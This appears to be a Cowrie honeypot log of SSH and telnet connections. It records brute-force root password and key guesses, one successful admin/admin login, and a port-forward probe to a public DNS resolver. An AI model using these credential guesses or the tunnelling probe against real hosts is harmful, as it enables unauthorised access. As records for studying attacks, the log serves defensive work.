{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:95:53:66:a8:6e:a5:e2:50:0f:8c:40:86:c2:c9:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzqxRFpFbxao+UtKd+PZcV6Dfmq8HJbxQCEnuGjRUrjXgB6PpveyKBmFlgnyLmvOkerTwzMzB+wcTDgwNa6pqUhRBqdObFQpIGAvmLcz9KG1/i1ny/M82rdWG/JgmjdBH9QeeUKunSCqLHkvPXK+9tFt2+NlI0CnwHYWYOgSlg/SjQi5YPPr/9gcXhxhV9CBI7XtTJ/XlN+lDBNLflIn82ltDrvKrbBfl2MJ6Pkv+F5B0R85RI1lKKwO8DM+MpFCNolk7YvCsoP9UG3J69qB6n7bi5NW4LNQVytNua5qhQX8hFryf1clK8+TnkHstYE8PbsuyVrNa5sRQhHwkXrLbX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:44.986063Z","src_ip":"91.219.62.79","session":"b678c0f785b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:3d:b3:f0:8c:b2:3b:39:01:21:52:28:50:79:c3:75","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOS/vly9djzup4w9DUmgydsbeHNiIYGKPRP3wmS+Mwj5","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 98:3d:b3:f0:8c:b2:3b:39:01:21:52:28:50:79:c3:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:45.071322Z","src_ip":"91.219.62.79","session":"b678c0f785b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:3d:b3:f0:8c:b2:3b:39:01:21:52:28:50:79:c3:75","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOS/vly9djzup4w9DUmgydsbeHNiIYGKPRP3wmS+Mwj5","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:45.075419Z","src_ip":"91.219.62.79","session":"b678c0f785b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:45.159929Z","src_ip":"91.219.62.79","session":"b678c0f785b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":37274,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbf69b740ff4","protocol":"ssh","message":"New connection: 43.173.89.56:37274 (159.203.135.109:22) [session: bbf69b740ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:46.150086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:46.154684Z","src_ip":"43.173.89.56","session":"bbf69b740ff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:46.222734Z","src_ip":"43.173.89.56","session":"bbf69b740ff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Peter","message":"login attempt [root/Peter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:46.526304Z","src_ip":"43.173.89.56","session":"bbf69b740ff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55572,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8cb70acc2d9","protocol":"telnet","message":"New connection: 192.119.13.58:55572 (10.17.0.5:23) [session: e8cb70acc2d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:46.704390Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:47.597693Z","src_ip":"43.173.89.56","session":"bbf69b740ff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":33802,"dst_ip":"159.203.135.109","dst_port":22,"session":"4232b210df7d","protocol":"ssh","message":"New connection: 43.153.39.191:33802 (159.203.135.109:22) [session: 4232b210df7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:47.695308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:47.700094Z","src_ip":"43.153.39.191","session":"4232b210df7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:47.768417Z","src_ip":"43.153.39.191","session":"4232b210df7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.59305953979492,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:47.935114Z","src_ip":"192.119.13.58","session":"e3b2d926b95a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"tom","message":"login attempt [root/tom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:48.072514Z","src_ip":"43.153.39.191","session":"4232b210df7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:49.143615Z","src_ip":"43.153.39.191","session":"4232b210df7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":35086,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c29d5561bc9","protocol":"ssh","message":"New connection: 152.32.150.26:35086 (159.203.135.109:22) [session: 5c29d5561bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:06.616121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:06.620968Z","src_ip":"152.32.150.26","session":"5c29d5561bc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53542,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dc8c7d730a5","protocol":"telnet","message":"New connection: 192.119.13.58:53542 (10.17.0.5:23) [session: 3dc8c7d730a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:08.289303Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":58642,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d8f536a6d9f","protocol":"ssh","message":"New connection: 43.130.16.4:58642 (159.203.135.109:22) [session: 5d8f536a6d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:09.268697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:09.276449Z","src_ip":"43.130.16.4","session":"5d8f536a6d9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:09.344998Z","src_ip":"43.130.16.4","session":"5d8f536a6d9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste1234","message":"login attempt [root/teste1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:09.652122Z","src_ip":"43.130.16.4","session":"5d8f536a6d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:10.723375Z","src_ip":"43.130.16.4","session":"5d8f536a6d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.98372149467468,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:10.960359Z","src_ip":"192.119.13.58","session":"2653c39d58de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":36770,"dst_ip":"159.203.135.109","dst_port":22,"session":"80617d99d65a","protocol":"ssh","message":"New connection: 103.149.170.125:36770 (159.203.135.109:22) [session: 80617d99d65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:13.213910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:13.218729Z","src_ip":"103.149.170.125","session":"80617d99d65a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:13.486578Z","src_ip":"103.149.170.125","session":"80617d99d65a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"c123456","message":"login attempt [root/c123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:14.296913Z","src_ip":"103.149.170.125","session":"80617d99d65a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:15.258212Z","src_ip":"152.32.150.26","session":"5c29d5561bc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:15.265866Z","src_ip":"152.32.150.26","session":"5c29d5561bc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:15.571652Z","src_ip":"103.149.170.125","session":"80617d99d65a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38468,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd66bb826a44","protocol":"telnet","message":"New connection: 192.119.13.58:38468 (10.17.0.5:23) [session: fd66bb826a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:18.577798Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":36794,"dst_ip":"159.203.135.109","dst_port":22,"session":"801c1768c6d9","protocol":"ssh","message":"New connection: 103.77.175.15:36794 (159.203.135.109:22) [session: 801c1768c6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:24.841000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:24.846139Z","src_ip":"103.77.175.15","session":"801c1768c6d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:25.100666Z","src_ip":"103.77.175.15","session":"801c1768c6d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15975","message":"login attempt [root/15975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:25.861487Z","src_ip":"103.77.175.15","session":"801c1768c6d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:27.118081Z","src_ip":"103.77.175.15","session":"801c1768c6d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14572,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3bab1167f5f","protocol":"ssh","message":"New connection: 87.251.64.176:14572 (10.17.0.5:22) [session: a3bab1167f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:27.648990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:27.654295Z","src_ip":"87.251.64.176","session":"a3bab1167f5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:27.753137Z","src_ip":"87.251.64.176","session":"a3bab1167f5f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:28.044306Z","src_ip":"87.251.64.176","session":"a3bab1167f5f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:28.144009Z","session":"a3bab1167f5f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:19:28.242570Z","src_ip":"87.251.64.176","session":"a3bab1167f5f","protocol":"ssh"}
